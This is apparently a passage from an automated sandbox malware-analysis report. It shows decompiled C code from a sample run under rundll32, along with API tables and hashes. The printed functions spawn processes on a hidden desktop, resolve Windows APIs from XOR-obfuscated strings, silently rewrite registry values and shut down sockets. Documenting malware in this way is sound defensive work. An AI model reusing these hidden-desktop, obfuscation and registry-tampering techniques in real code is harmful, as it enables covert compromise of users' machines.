									}
									__eflags = _t86;
									if(_t86 == 0) {
										goto L30;
									}
									_t72 = E00FC11D0(_t86);
									__eflags = _t72;
									if(_t72 == 0) {
										goto L30;
									}
									_push(_t86);
									_push(_t90);
									L29:
									_push(_t72);
									E00FC1000();
									EnterCriticalSection(0xfd6714);
									 *0xfd6708 = 6;
									 *0xfd670d = _t86;
									 *0xfd6709 = _t72;
									LeaveCriticalSection(0xfd6714);
									goto L30;
								}
								_t64 = _v1716.hThread;
								if(_t64 != 0) {
									CloseHandle(_t64);
								}
								_t65 = _v1716.hProcess;
								if(_t65 != 0) {
									CloseHandle(_t65);
								}
								lstrcatW(_t83,  *0xfd6910);
								_t86 = lstrlenW(_t83) + _t67;
								if( *0xfd672c == 0 || _t86 == 0) {
									goto L30;
								} else {
									_t72 = E00FC11D0(_t86);
									if(_t72 == 0) {
										goto L30;
									}
									_push(_t86);
									_push(_t83);
									goto L29;
								}
							}
						}
						while(_t83[_t42] != 0x5c) {
							_t42 = _t42 - 1;
							if(_t42 > 0) {
								continue;
							}
							goto L6;
						}
						goto L7;
					}
				}
				return _t32;
			}

0x00fc9151
0x00fc9153
0x00fc915b
0x00fc9163
0x00fc9169
0x00fc916b
0x00fc916d
0x00fc9177
0x00fc918b
0x00fc9196
0x00fc919b
0x00fc9316
0x00fc9316
0x00fc931a
0x00000000
0x00fc91ab
0x00fc91ac
0x00fc91ae
0x00fc91b2
0x00fc91c0
0x00fc91c5
0x00000000
0x00000000
0x00fc91cb
0x00fc91cb
0x00fc91cc
0x00fc91ce
0x00fc91d3
0x00000000
0x00fc920d
0x00fc921e
0x00fc922c
0x00fc9239
0x00fc9246
0x00fc924a
0x00fc925f
0x00fc926a
0x00fc926f
0x00fc9272
0x00fc927c
0x00fc9284
0x00fc92b1
0x00fc9309
0x00fc930f
0x00fc931e
0x00fc931e
0x00fc932d
0x00fc9332
0x00fc9334
0x00fc938b
0x00000000
0x00fc938c
0x00fc933b
0x00fc933d
0x00fc9344
0x00000000
0x00000000
0x00fc9346
0x00fc9348
0x00000000
0x00000000
0x00fc9351
0x00fc9353
0x00fc9355
0x00000000
0x00000000
0x00fc9357
0x00fc9358
0x00fc9359
0x00fc9359
0x00fc935a
0x00fc9367
0x00fc9372
0x00fc9379
0x00fc937f
0x00fc9385
0x00000000
0x00fc9385
0x00fc92b3
0x00fc92bf
0x00fc92c2
0x00fc92c2
0x00fc92c4
0x00fc92ca
0x00fc92cd
0x00fc92cd
0x00fc92d6
0x00fc92dd
0x00fc92e6
0x00000000
0x00fc92f4
0x00fc92fb
0x00fc92ff
0x00000000
0x00000000
0x00fc9305
0x00fc9306
0x00000000
0x00fc9306
0x00fc92e6
0x00fc91d3
0x00fc91b4
0x00fc91bb
0x00fc91be
0x00000000
0x00000000
0x00000000
0x00fc91be
0x00000000
0x00fc91b4
0x00fc919b
0x00fc939c

APIs

LocalAlloc.KERNEL32 ref: 00FC9163

Part of subcall function 00FC8C70: GetTempFileNameW.KERNEL32(C:\Users\user\AppData\LocalLow\,00FCF2D8,00000000,?,?,?,?,?), ref: 00FC8CD4
Part of subcall function 00FC8C70: DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00FC8CFC
Part of subcall function 00FC8C70: CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000002,00000000,00000000,?,?,?,?), ref: 00FC8D16
Part of subcall function 00FC8C70: WriteFile.KERNEL32(00000000,?,00000004,?,00000000,?,?,?,?), ref: 00FC8D34
Part of subcall function 00FC8C70: CloseHandle.KERNEL32(?,?,?,?,?), ref: 00FC8D40
Part of subcall function 00FC8C70: DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00FC8D4F
Part of subcall function 00FC8C70: lstrcpynW.KERNEL32(?,C:\Users\user\AppData\LocalLow\,?,?,?,?,?), ref: 00FC8D62
Part of subcall function 00FC8C70: lstrlenW.KERNEL32(?,?,?,?,?), ref: 00FC8DA5
Part of subcall function 00FC8C70: GetTickCount.KERNEL32 ref: 00FC8DB4
Part of subcall function 00FC8C70: lstrlenW.KERNEL32(?,?,?,?,?), ref: 00FC8DC8

lstrlenW.KERNEL32(00000000), ref: 00FC91AC
lstrcpyW.KERNEL32 ref: 00FC921E
lstrcatW.KERNEL32(?,00000000), ref: 00FC922C
lstrcatW.KERNEL32(?), ref: 00FC9239
lstrcatW.KERNEL32(?), ref: 00FC9246
lstrcpyW.KERNEL32 ref: 00FC925F
CreateProcessW.KERNEL32 ref: 00FC92A9
CloseHandle.KERNEL32(?), ref: 00FC92C2
CloseHandle.KERNEL32(?), ref: 00FC92CD
lstrcatW.KERNEL32(00000000), ref: 00FC92D6
lstrlenW.KERNEL32(00000000), ref: 00FC92D9
GetLastError.KERNEL32 ref: 00FC9309
lstrlenW.KERNEL32(00000000), ref: 00FC9337
EnterCriticalSection.KERNEL32(00FD6714), ref: 00FC9367
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC9385
LocalFree.KERNEL32(00000000), ref: 00FC938C

Strings

D, xrefs: 00FC9272

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: Filelstrlen$lstrcat$CloseHandle$CreateCriticalDeleteLocalSectionlstrcpy$AllocCountEnterErrorFreeLastLeaveNameProcessTempTickWritelstrcpyn
String ID: D
API String ID: 395529894-2746444292
Opcode ID: 59137d4bb0359eeafb19c7e0cc789934cca638935d839cba99a967b2a8e190b5
Instruction ID: de1e84e1ea8aca913bed8cf86404f90ecf0481a99198b92396a5eb103cd0ddc2
Opcode Fuzzy Hash: 59137d4bb0359eeafb19c7e0cc789934cca638935d839cba99a967b2a8e190b5
Instruction Fuzzy Hash: 96512931A0834B9BD7219B61CE4AF6B77EDEB84754F08042EF504C31A1DBB5C848E7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00FC1E90 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 162
registrystringprocessCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00FC1E90() {
				short _v1028;
				short _v1548;
				short _v1652;
				struct _STARTUPINFOW _v1724;
				struct _PROCESS_INFORMATION _v1740;
				intOrPtr _v1744;
				char _v1748;
				int _v1752;
				char _v1756;
				int _v1760;
				void* _v1764;
				void* _t59;
				void* _t61;
				intOrPtr _t63;
				signed int _t76;
				void* _t77;
				int _t81;
				void* _t85;
				int _t86;

				_v1764 = 0;
				_t76 = 0;
				_v1760 = 4;
				_v1752 = 4;
				_v1748 = 2;
				if(RegOpenKeyExA(0x80000001,  *0xfd6b14, 0, 0xf013f,  &_v1764) != 0) {
					_v1764 = 0;
				} else {
					if(RegQueryValueExA(_v1764,  *0xfd6b18, 0,  &_v1752,  &_v1756,  &_v1760) != 0) {
						L3:
						RegSetValueExA(_v1764,  *0xfd6b18, 0, 4,  &_v1748, 4);
						asm("sbb ebx, ebx");
						_t76 = _t76 + 1;
					} else {
						_t76 = 0 | _v1756 != 0x00000002;
						if(_t76 != 0) {
							goto L3;
						}
					}
				}
				_t81 = GetWindowsDirectoryW( &_v1548, 0x104);
				if(_t81 == 0) {
					L22:
					return 0;
				} else {
					lstrcatW( &_v1548,  *0xfd67f4);
					if(_t81 + 0xd == 0) {
						goto L22;
					} else {
						_v1028 = 0;
						lstrcpyW( &_v1028,  &_v1548);
						E00FC10D0( &_v1724, 0, 0x44);
						_v1724.cb = 0x44;
						lstrcpyW( &_v1652, L"d06ed635");
						_v1724.lpDesktop =  &_v1652;
						_t86 = CreateProcessW(0,  &_v1028, 0, 0, 0, 0, 0, 0,  &_v1724,  &_v1740);
						if(_t86 != 0) {
							_t77 = _v1740.hThread;
							if(_t77 != 0) {
								CloseHandle(_t77);
							}
							_t85 =  !=  ? _v1740.hProcess : _v1744;
							if(_t85 == 0) {
								E00FC1A90(1);
							} else {
								_t63 =  *0xfd6384; // 0x0
								if(_t63 != 0) {
									L13:
									__imp__AssignProcessToJobObject(_t63, _t85);
								} else {
									__imp__CreateJobObjectW(_t63, _t63);
									 *0xfd6384 = _t63;
									if(_t63 != 0) {
										goto L13;
									}
								}
								ResumeThread(_t85);
								E00FC1A90(1);
								CloseHandle(_t85);
								CloseHandle(_t85);
							}
							if(_t76 == 0) {
								L19:
								_t59 = _v1764;
								if(_t59 != 0) {
									RegCloseKey(_t59);
								}
							} else {
								_t61 = _v1764;
								if(_t61 != 0) {
									RegSetValueExA(_t61,  *0xfd6b18, 0, 4,  &_v1756, _v1760);
									goto L19;
								}
							}
						}
						return _t86;
					}
				}
			}

0x00fc1e9d
0x00fc1eab
0x00fc1ead
0x00fc1ebc
0x00fc1ec9
0x00fc1ed9
0x00fc1f2d
0x00fc1edb
0x00fc1efd
0x00fc1f0b
0x00fc1f20
0x00fc1f28
0x00fc1f2a
0x00fc1eff
0x00fc1f04
0x00fc1f09
0x00000000
0x00000000
0x00fc1f09
0x00fc1efd
0x00fc1f44
0x00fc1f48
0x00fc20a0
0x00fc20a9
0x00fc1f4e
0x00fc1f5c
0x00fc1f65
0x00000000
0x00fc1f6b
0x00fc1f73
0x00fc1f8b
0x00fc1f96
0x00fc1f9e
0x00fc1fb3
0x00fc1fbc
0x00fc1fe6
0x00fc1fea
0x00fc1ff0
0x00fc1ff6
0x00fc1ff9
0x00fc1ff9
0x00fc2009
0x00fc200e
0x00fc2058
0x00fc2010
0x00fc2010
0x00fc2017
0x00fc202a
0x00fc202c
0x00fc2019
0x00fc201b
0x00fc2021
0x00fc2028
0x00000000
0x00000000
0x00fc2028
0x00fc2033
0x00fc203e
0x00fc2044
0x00fc204b
0x00fc204b
0x00fc205f
0x00fc2083
0x00fc2083
0x00fc2089
0x00fc208c
0x00fc208c
0x00fc2061
0x00fc2061
0x00fc2067
0x00fc207d
0x00000000
0x00fc207d
0x00fc2067
0x00fc205f
0x00fc209d
0x00fc209d
0x00fc1f65

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,00000000,000F013F,?), ref: 00FC1ED1
RegQueryValueExA.ADVAPI32(?,00000000,?,?,?,?,?,?,?,00000000,000F013F,?), ref: 00FC1EF5
RegSetValueExA.ADVAPI32(?,00000000,00000004,?,00000004,?,?,?,?,00000000,000F013F,?), ref: 00FC1F20
GetWindowsDirectoryW.KERNEL32(?,00000104,?,?,?,?,00000000,000F013F,?), ref: 00FC1F3E
lstrcatW.KERNEL32(?), ref: 00FC1F5C
lstrcpyW.KERNEL32 ref: 00FC1F8B
lstrcpyW.KERNEL32 ref: 00FC1FB3
CreateProcessW.KERNEL32 ref: 00FC1FE0
CloseHandle.KERNEL32(?), ref: 00FC1FF9
CreateJobObjectW.KERNEL32 ref: 00FC201B
AssignProcessToJobObject.KERNEL32 ref: 00FC202C
ResumeThread.KERNEL32(?), ref: 00FC2033
CloseHandle.KERNEL32(?), ref: 00FC2044
CloseHandle.KERNEL32(?), ref: 00FC204B
RegSetValueExA.ADVAPI32(?,00000000,00000004,?,?), ref: 00FC207D
RegCloseKey.ADVAPI32(?), ref: 00FC208C

Strings

d06ed635, xrefs: 00FC1FAD
D, xrefs: 00FC1F9E

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: Close$HandleValue$CreateObjectProcesslstrcpy$AssignDirectoryOpenQueryResumeThreadWindowslstrcat
String ID: D$d06ed635
API String ID: 2430434536-3801043960
Opcode ID: 618abfe221eb50000386546c821fa974373127bfcbb6072df46336a7a13b8b80
Instruction ID: 06b1a8ebac20b633e6a984df76ea2bdb63bb2378d704dbf14e7d19aad9493100
Opcode Fuzzy Hash: 618abfe221eb50000386546c821fa974373127bfcbb6072df46336a7a13b8b80
Instruction Fuzzy Hash: 74517A7264430AAFD7209F60DD46FAAB7E9FB88714F04082EF649D2150DB75D908EB52

Uniqueness

Uniqueness Score: -1.00%

Function 00FC41E0 Relevance: 31.6, APIs: 8, Strings: 10, Instructions: 125
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00FC41E0() {
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t55;
				_Unknown_base(*)()* _t57;
				struct HINSTANCE__* _t59;
				_Unknown_base(*)()* _t60;
				struct HINSTANCE__* _t62;
				_Unknown_base(*)()* _t63;
				struct HINSTANCE__* _t74;

				asm("movaps xmm1, [0xfd3ed0]");
				_v40 = 0x4d703a8c;
				_v36 = 0x1e30278b;
				_v32 = 0x406f2ad5;
				_v28 = 0x2c034efb;
				asm("movups xmm0, [esp+0x4]");
				asm("pxor xmm1, xmm0");
				asm("movups [esp+0x10], xmm1");
				_t74 = LoadLibraryA( &_v40);
				if(_t74 == 0) {
					L8:
					return 0;
				} else {
					_v40 = 0x51535457;
					_v36 = 0x79726575;
					_v32 = 0x73736553;
					_v28 = 0x496e6f69;
					_v24 = 0x726f666e;
					_v20 = 0x6974616d;
					_v16 = 0x576e6f;
					_t53 = GetProcAddress(_t74,  &_v40);
					 *0xfd65bc = _t53;
					if(_t53 == 0) {
						goto L8;
					} else {
						_v40 = 0x45535457;
						_v36 = 0x656d756e;
						_v32 = 0x65746172;
						_v28 = 0x73736553;
						_v24 = 0x736e6f69;
						_v20 = 0x41;
						_t55 = GetProcAddress(_t74,  &_v40);
						 *0xfd6580 = _t55;
						if(_t55 == 0) {
							goto L8;
						} else {
							_v40 = 0x51535457;
							_v36 = 0x79726575;
							_v32 = 0x72657355;
							_v28 = 0x656b6f54;
							_v24 = 0x6e;
							_t57 = GetProcAddress(_t74,  &_v40);
							 *0xfd65a8 = _t57;
							if(_t57 == 0) {
								goto L8;
							} else {
								asm("movaps xmm1, [0xfd3ee0]");
								_v40 = 0xe759cd85;
								_v36 = 0xbb18c48b;
								_v32 = 0xe547ccc0;
								_v28 = 0x892ba8ee;
								asm("movups xmm0, [esp+0xc]");
								asm("pxor xmm1, xmm0");
								asm("movups [esp+0x10], xmm1");
								_t59 = LoadLibraryA( &_v40);
								if(_t59 == 0) {
									goto L8;
								} else {
									_v40 = 0x43746547;
									_v36 = 0x75706d6f;
									_v32 = 0x4e726574;
									_v28 = 0x41656d61;
									_v24 = 0;
									_t60 = GetProcAddress(_t59,  &_v40);
									 *0xfd6578 = _t60;
									if(_t60 == 0) {
										goto L8;
									} else {
										asm("movaps xmm1, [0xfd3ec0]");
										_v40 = 0x65d6e15c;
										_v36 = 0x3693ec4d;
										_v32 = 0x68cce113;
										_v28 = 0x4a0853d;
										asm("movups xmm0, [esp+0xc]");
										asm("pxor xmm1, xmm0");
										asm("movups [esp+0x10], xmm1");
										_t62 = LoadLibraryA( &_v40);
										if(_t62 == 0) {
											goto L8;
										} else {
											asm("movaps xmm1, [0xfd3ef0]");
											_v40 = 0xaab1e1d4;
											_v36 = 0xb1b7e1e0;
											_v32 = 0xbea0e9f2;
											_v28 = 0xffc58493;
											asm("movups xmm0, [esp+0xc]");
											asm("pxor xmm1, xmm0");
											asm("movups [esp+0x14], xmm1");
											_t63 = GetProcAddress(_t62,  &_v40);
											 *0xfd657c = _t63;
											return 0 | _t63 != 0x00000000;
										}
									}
								}
							}
						}
					}
				}
			}

0x00fc41e3
0x00fc41f4
0x00fc41fc
0x00fc4204
0x00fc420c
0x00fc4214
0x00fc421b
0x00fc4220
0x00fc4227
0x00fc422b
0x00fc4419
0x00fc4421
0x00fc4231
0x00fc423d
0x00fc4245
0x00fc424d
0x00fc4255
0x00fc425d
0x00fc4265
0x00fc426d
0x00fc4275
0x00fc4277
0x00fc427e
0x00000000
0x00fc4284
0x00fc4288
0x00fc4292
0x00fc429a
0x00fc42a2
0x00fc42aa
0x00fc42b2
0x00fc42ba
0x00fc42bc
0x00fc42c3
0x00000000
0x00fc42c9
0x00fc42cd
0x00fc42d7
0x00fc42df
0x00fc42e7
0x00fc42ef
0x00fc42f7
0x00fc42f9
0x00fc4300
0x00000000
0x00fc4306
0x00fc4306
0x00fc4311
0x00fc4319
0x00fc4321
0x00fc4329
0x00fc4331
0x00fc4337
0x00fc433b
0x00fc4340
0x00fc4344
0x00000000
0x00fc434a
0x00fc434e
0x00fc4358
0x00fc4360
0x00fc4368
0x00fc4370
0x00fc4378
0x00fc437a
0x00fc4381
0x00000000
0x00fc4387
0x00fc4387
0x00fc4392
0x00fc439a
0x00fc43a2
0x00fc43aa
0x00fc43b2
0x00fc43b8
0x00fc43bc
0x00fc43c1
0x00fc43c5
0x00000000
0x00fc43c7
0x00fc43c7
0x00fc43d2
0x00fc43da
0x00fc43e2
0x00fc43ea
0x00fc43f2
0x00fc43f9
0x00fc43fd
0x00fc4402
0x00fc4406
0x00fc4418
0x00fc4418
0x00fc43c5
0x00fc4381
0x00fc4344
0x00fc4300
0x00fc42c3
0x00fc427e

APIs

LoadLibraryA.KERNEL32(?), ref: 00FC4225
GetProcAddress.KERNEL32 ref: 00FC4275
GetProcAddress.KERNEL32(00000000,?), ref: 00FC42BA
GetProcAddress.KERNEL32(00000000,45535457), ref: 00FC42F7
LoadLibraryA.KERNEL32(51535457,?,?,00000000,?), ref: 00FC4340
GetProcAddress.KERNEL32(00000000,E759CD85), ref: 00FC4378
LoadLibraryA.KERNEL32(43746547,?,?,00000000,?), ref: 00FC43C1
GetProcAddress.KERNEL32(00000000,65D6E15C), ref: 00FC4402

Strings

WTSQ, xrefs: 00FC423D
onW, xrefs: 00FC426D
ions, xrefs: 00FC42AA
mati, xrefs: 00FC4265
ameA, xrefs: 00FC4368
terN, xrefs: 00FC4360
GetC, xrefs: 00FC434E
A, xrefs: 00FC42B2
n, xrefs: 00FC42EF
ompu, xrefs: 00FC4358

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: A$GetC$WTSQ$ameA$ions$mati$n$ompu$onW$terN
API String ID: 2238633743-2097599906
Opcode ID: 1bbc0d70008c335e3554db7ce1c961580cf9430bcd5141ca23aa0c7e649bc2b2
Instruction ID: d41f6343c81464438855c8e9fd8750ce37a5b081bcdc595f3adbcadccd531ddc
Opcode Fuzzy Hash: 1bbc0d70008c335e3554db7ce1c961580cf9430bcd5141ca23aa0c7e649bc2b2
Instruction Fuzzy Hash: 93515BB08087469ED301CF2AD94165BBBF4FF94354F14CA1EE89897211D770D688DF92

Uniqueness

Uniqueness Score: -1.00%

Function 00FC3170 Relevance: 28.7, APIs: 19, Instructions: 173
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00FC3170() {
				char _v284;
				char _v292;
				intOrPtr _v296;
				void* _v300;
				void* _v304;
				void* _v308;
				void* _v312;
				char _v316;
				void* _v320;
				int _v324;
				char _v328;
				long _t59;
				signed int _t71;
				void* _t84;
				void* _t85;
				void* _t86;
				char* _t90;
				void* _t91;
				char* _t92;
				char* _t93;
				char* _t94;
				void* _t95;
				void* _t97;

				_t86 = 0;
				_v304 = 0;
				do {
					asm("sbb esi, esi");
					_t91 =  &(_t90[0xffffffff80000002]);
					_t84 = 0;
					_v324 = _t91;
					do {
						wsprintfA( &_v300,  *0xfd6b24, _t84);
						_t97 = _t97 + 0xc;
						if(RegOpenKeyExA(_t91,  &_v292, 0, 0xf013f,  &_v320) == 0) {
							_t95 = 0;
							do {
								_t6 = _t95 + 0xfd5040; // 0x0
								_t71 =  *_t6 & 0x0000ffff;
								if(_t71 == 0) {
									lstrcpyA( &_v292,  *0xfd6b30);
								} else {
									wsprintfA( &_v292,  *0xfd6b28, _t71);
									_t97 = _t97 + 0xc;
								}
								_t9 = _t95 + 0xfd5040; // 0x0
								wsprintfA( &_v292,  *0xfd6b28,  *_t9 & 0x0000ffff);
								_t11 = _t95 + 0xfd5048; // 0x0
								_t97 = _t97 + 0xc;
								_v316 =  *_t11;
								RegSetValueExA(_v312,  &_v284, 0, 4,  &_v316, 4);
								_t95 = _t95 + 0xc;
							} while (_t95 < 0x144);
							RegCloseKey(_v312);
							_t91 = _v308;
						}
						_t84 = _t84 + 1;
					} while (_t84 <= 4);
					_t85 = _v316;
					_t92 =  *0xfd6b34; // 0xfd9b0a
					_v324 = 1;
					_v328 = 1;
					if(RegOpenKeyExA(_t85,  *0xfd6b2c, 0, 2,  &_v312) == 0) {
						RegSetValueExA(_v312, _t92, 0, 4,  &_v328, 4);
						RegCloseKey(_v312);
					}
					_t93 =  *0xfd6b3c; // 0xfd9b4e
					_v328 = _v324;
					if(RegOpenKeyExA(_t85,  *0xfd6b38, 0, 2,  &_v308) == 0) {
						RegSetValueExA(_v308, _t93, 0, 4,  &_v328, 4);
						RegCloseKey(_v308);
					}
					_t94 =  *0xfd6b40; // 0xfd9b6b
					_v328 = _v324;
					if(RegOpenKeyExA(_t85,  *0xfd6b38, 0, 2,  &_v304) == 0) {
						RegSetValueExA(_v304, _t94, 0, 4,  &_v328, 4);
						RegCloseKey(_v304);
					}
					_t90 =  *0xfd6b48; // 0xfd9bc2
					_v324 = 0;
					_v328 = 0;
					_t59 = RegOpenKeyExA(_t85,  *0xfd6b44, 0, 2,  &_v300);
					if(_t59 == 0) {
						RegSetValueExA(_v300, _t90, 0, 4,  &_v328, 4);
						_t59 = RegCloseKey(_v300);
					}
					_t86 = _v296 + 1;
					_v296 = _t86;
				} while (_t86 < 2);
				return _t59;
			}

0x00fc317e
0x00fc3188
0x00fc3190
0x00fc3192
0x00fc3194
0x00fc319a
0x00fc319c
0x00fc31a0
0x00fc31ac
0x00fc31ae
0x00fc31cb
0x00fc31d1
0x00fc31d3
0x00fc31d3
0x00fc31d3
0x00fc31dd
0x00fc31fd
0x00fc31df
0x00fc31eb
0x00fc31ed
0x00fc31ed
0x00fc31ff
0x00fc3212
0x00fc3214
0x00fc321a
0x00fc321d
0x00fc3235
0x00fc323b
0x00fc323e
0x00fc324a
0x00fc3250
0x00fc3250
0x00fc3254
0x00fc3255
0x00fc325e
0x00fc3266
0x00fc3277
0x00fc3280
0x00fc3290
0x00fc32a2
0x00fc32ac
0x00fc32ac
0x00fc32b6
0x00fc32bc
0x00fc32d8
0x00fc32ea
0x00fc32f4
0x00fc32f4
0x00fc32fe
0x00fc3304
0x00fc3320
0x00fc3332
0x00fc333c
0x00fc333c
0x00fc3342
0x00fc3357
0x00fc3360
0x00fc3368
0x00fc3370
0x00fc3382
0x00fc338c
0x00fc338c
0x00fc3396
0x00fc3397
0x00fc339b
0x00fc33ae

APIs

wsprintfA.USER32 ref: 00FC31AC
RegOpenKeyExA.ADVAPI32(?,?,00000000,000F013F,?), ref: 00FC31C3
wsprintfA.USER32 ref: 00FC31EB
lstrcpyA.KERNEL32(?,?,?,00000000,000F013F,?), ref: 00FC31FD
wsprintfA.USER32 ref: 00FC3212
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004,?,000F013F,?), ref: 00FC3235
RegCloseKey.ADVAPI32(?,?,000F013F,?), ref: 00FC324A
RegOpenKeyExA.ADVAPI32(?), ref: 00FC3288
RegSetValueExA.ADVAPI32(?,00FD9B0A,00000000,00000004,?,00000004), ref: 00FC32A2
RegCloseKey.ADVAPI32(00000000), ref: 00FC32AC
RegOpenKeyExA.ADVAPI32(?,00000000,00000002,00000001), ref: 00FC32D0
RegSetValueExA.ADVAPI32(?,00FD9B4E,00000000,00000004,?,00000004), ref: 00FC32EA
RegCloseKey.ADVAPI32(00000001), ref: 00FC32F4
RegOpenKeyExA.ADVAPI32(?,00000000,00000002,?), ref: 00FC3318
RegSetValueExA.ADVAPI32(?,00FD9B6B,00000000,00000004,?,00000004), ref: 00FC3332
RegCloseKey.ADVAPI32(?), ref: 00FC333C
RegOpenKeyExA.ADVAPI32(?,00000000,00000002,?), ref: 00FC3368
RegSetValueExA.ADVAPI32(?,00FD9BC2,00000000,00000004,?,00000004), ref: 00FC3382
RegCloseKey.ADVAPI32(?), ref: 00FC338C

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: CloseOpenValue$wsprintf$lstrcpy
String ID:
API String ID: 2089424063-0
Opcode ID: 9423c14859178e7a2abdc6e79701240d4369a9fe858faeb437651ff4d99ab59d
Instruction ID: d6787ae06b0b4cfa8c661561497ca64494eb79bb899e6598d540917d25254d05
Opcode Fuzzy Hash: 9423c14859178e7a2abdc6e79701240d4369a9fe858faeb437651ff4d99ab59d
Instruction Fuzzy Hash: 02517F71544309AFD7109F60DD4AF6BBBE9FB88B14F40442AFA45E31A0D771E908EB62

Uniqueness

Uniqueness Score: -1.00%

Function 00FC6E70 Relevance: 28.6, APIs: 19, Instructions: 128COMMON

Download Yara Rule

APIs

shutdown.WS2_32(00000000,00000002), ref: 00FC6ED4
closesocket.WS2_32(00000000), ref: 00FC6EDB
shutdown.WS2_32(00000000,00000002), ref: 00FC6EE8
closesocket.WS2_32(00000000), ref: 00FC6EEF
shutdown.WS2_32(00000328,00000002), ref: 00FC6EFC
closesocket.WS2_32(00000328), ref: 00FC6F03
shutdown.WS2_32(00000000,00000002), ref: 00FC6F40
closesocket.WS2_32(00000000), ref: 00FC6F47
shutdown.WS2_32(00000000,00000002), ref: 00FC6F9E
closesocket.WS2_32(00000000), ref: 00FC6FA5
shutdown.WS2_32(00000000,00000002), ref: 00FC6FB2
closesocket.WS2_32(00000000), ref: 00FC6FB9
shutdown.WS2_32(00000000,00000002), ref: 00FC6FE6
closesocket.WS2_32(00000000), ref: 00FC6FED
shutdown.WS2_32(00000000,00000002), ref: 00FC6FFA
closesocket.WS2_32(00000000), ref: 00FC7001
VirtualFree.KERNEL32(00000000,00000000,00008000,77D3EB70), ref: 00FC7028
VirtualFree.KERNEL32(00000000,00000000,00008000,77D3EB70), ref: 00FC7045
VirtualFree.KERNEL32(00000000,00000000,00008000,77D3EB70), ref: 00FC7062

Part of subcall function 00FC4140: TerminateThread.KERNEL32(00000000,00000000,77D3EB70,77D3EEF0,?,00000000), ref: 00FC4197
Part of subcall function 00FC4140: CloseHandle.KERNEL32(?), ref: 00FC419D
Part of subcall function 00FC4140: TerminateThread.KERNEL32(?,00000000,77D3EB70,77D3EEF0,?,00000000), ref: 00FC41AA
Part of subcall function 00FC4140: CloseHandle.KERNEL32(?), ref: 00FC41B1
Part of subcall function 00FC4140: TerminateThread.KERNEL32(?,00000000,77D3EB70,77D3EEF0,?,00000000), ref: 00FC41BA
Part of subcall function 00FC4140: CloseHandle.KERNEL32(?), ref: 00FC41BD
Part of subcall function 00FC4140: TerminateThread.KERNEL32(00000000,00000000,77D3EB70,77D3EEF0,?,00000000), ref: 00FC41C6
Part of subcall function 00FC4140: CloseHandle.KERNEL32(00000000), ref: 00FC41C9

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: closesocketshutdown$CloseHandleTerminateThread$FreeVirtual
String ID:
API String ID: 1920005900-0
Opcode ID: 6fd2b767c17ac9f71038f5941ead945b3fc98cdeca70446411a69d8aae4daf18
